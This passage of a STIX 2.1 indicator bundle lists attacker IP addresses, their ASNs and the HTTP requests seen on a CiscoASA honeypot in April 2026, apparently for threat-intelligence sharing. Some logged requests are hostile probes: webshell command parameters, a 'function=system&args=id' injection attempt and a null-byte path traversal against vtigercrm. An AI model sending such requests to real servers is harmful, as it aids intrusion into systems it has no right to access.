      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /css/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--65a3cbfb-bad0-49f4-bc93-fec4dfca4617",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-24T09:05:22.231Z",
          "last_seen": "2026-04-24T09:13:35.478Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /css/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /digium_phones/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /elastixConnection/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /framework/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /help/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /include/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /js/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /k12/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/themes/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--aba1c87a-f802-4b0c-bfb9-0fe7ea3993ea",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 11,
          "first_seen": "2026-04-24T09:13:02.187Z",
          "last_seen": "2026-04-24T09:13:19.370Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /classes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /0x4148.php.call HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--d61f6f53-98e8-4437-af3b-e6de6babb933",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-24T09:08:22.892Z",
          "last_seen": "2026-04-24T09:08:36.787Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
            "\"GET /445122A555.php?2ew HTTP/1.1\" 404 -",
            "\"GET /Ahmed01126291919.php?qwe HTTP/1.1\" 404 -",
            "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?config HTTP/1.1\" 404 -",
            "\"GET /recordings/azoofo.php?p=evil@access&c=cat+azoofo.php&xx HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/AboSala7.php?asd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--e32a66d7-68f2-4f3d-b09c-f5b70783b912",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:31.059Z",
          "last_seen": "2026-04-24T09:05:31.059Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/cdr/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--e37b3700-a767-4047-9f93-398e87838af2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 11,
          "first_seen": "2026-04-24T09:15:02.845Z",
          "last_seen": "2026-04-24T09:15:17.833Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/cdr/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/common/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/helpers/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/i18n/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/libraries/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/views/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--ae615894-d612-4012-ae1c-e3cd57e0ed34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:15:19.681Z",
          "last_seen": "2026-04-24T09:15:21.254Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--302c64ec-2c55-4aa8-b3fb-621a6fdfe7d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T09:14:42.780Z",
          "last_seen": "2026-04-24T09:15:00.948Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /_asterisk/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /aastra/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /admin/assets/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--999836af-6b2f-405a-a57d-45b7dbcc30b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-24T09:04:54.244Z",
          "last_seen": "2026-04-24T09:12:03.891Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 -",
            "\"GET /api.php? HTTP/1.1\" 404 -",
            "\"GET /falx.php?xw HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/zizo.php?123 HTTP/1.1\" 404 -",
            "\"GET /wav.php?123 HTTP/1.1\" 404 -",
            "\"GET /webadmin.php?!23 HTTP/1.1\" 404 -",
            "\"GET /x1.php?123 HTTP/1.1\" 404 -",
            "\"GET /z.php?pass=angel HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/cxpanel/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--087cf68d-c7af-4b33-9941-0aa085125ca0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:12:58.649Z",
          "last_seen": "2026-04-24T09:13:00.313Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/modules/cxpanel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php HTTP/1.1\" 200 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--a6ea6fbd-6dbb-468f-8006-9ecba45a02ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T09:04:08.220Z",
          "last_seen": "2026-04-24T09:04:13.033Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/config.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/ HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--68054dae-5c39-4830-a222-6e056599a473",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:20.152Z",
          "last_seen": "2026-04-24T09:05:20.152Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/ HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /help/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--6b40c4a7-ae42-4137-81e9-f165b5bdc7ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-24T09:15:44.246Z",
          "last_seen": "2026-04-24T09:15:51.373Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /help/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /include/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /js/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: SC; ASN 211720 (Datashield, Inc.)",
      "id": "indicator--4dc90a2e-8b84-42ce-a99c-ffdb297dc645",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.231.33.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:16.217Z",
          "last_seen": "2026-04-24T09:05:16.217Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 211720,
          "as_org": "Datashield, Inc."
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--258e9c44-48b7-4b27-9d83-a4aa7f5076fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.241.208.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 42,
          "first_seen": "2026-04-24T09:05:29.193Z",
          "last_seen": "2026-04-24T09:12:46.012Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /Ti-CA.php HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /aastra/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/assets/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/cdr/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 - geo: PL; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--c679497d-2118-4d39-9194-651c6d31f913",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.241.208.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-24T09:06:03.357Z",
          "last_seen": "2026-04-24T09:06:13.611Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -",
            "\"GET /admin/assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /rr.php?yokyok=cat+rr.php& HTTP/1.1\" 404 -",
            "\"GET /vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 - geo: NL; ASN 200651 (FlokiNET ehf)",
      "id": "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:44.169Z",
          "last_seen": "2026-04-24T09:05:44.169Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 200651,
          "as_org": "FlokiNET ehf",
          "event_types": [
            "\"GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /elastixConnection/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 197540 (netcup GmbH)",
      "id": "indicator--f5211b49-0c59-4805-abe2-a870deff39ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '188.68.41.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:40.694Z",
          "last_seen": "2026-04-24T09:15:40.694Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 197540,
          "as_org": "netcup GmbH",
          "event_types": [
            "\"GET /elastixConnection/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: NL; ASN 60404 (The Infrastructure Group B.V.)",
      "id": "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.76.153.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:05:18.176Z",
          "last_seen": "2026-04-24T09:05:34.089Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 60404,
          "as_org": "The Infrastructure Group B.V."
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 - geo: SE; ASN 42237 (w1n ltd)",
      "id": "indicator--61dded6e-b6b3-4c07-b295-ae5b401e6545",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
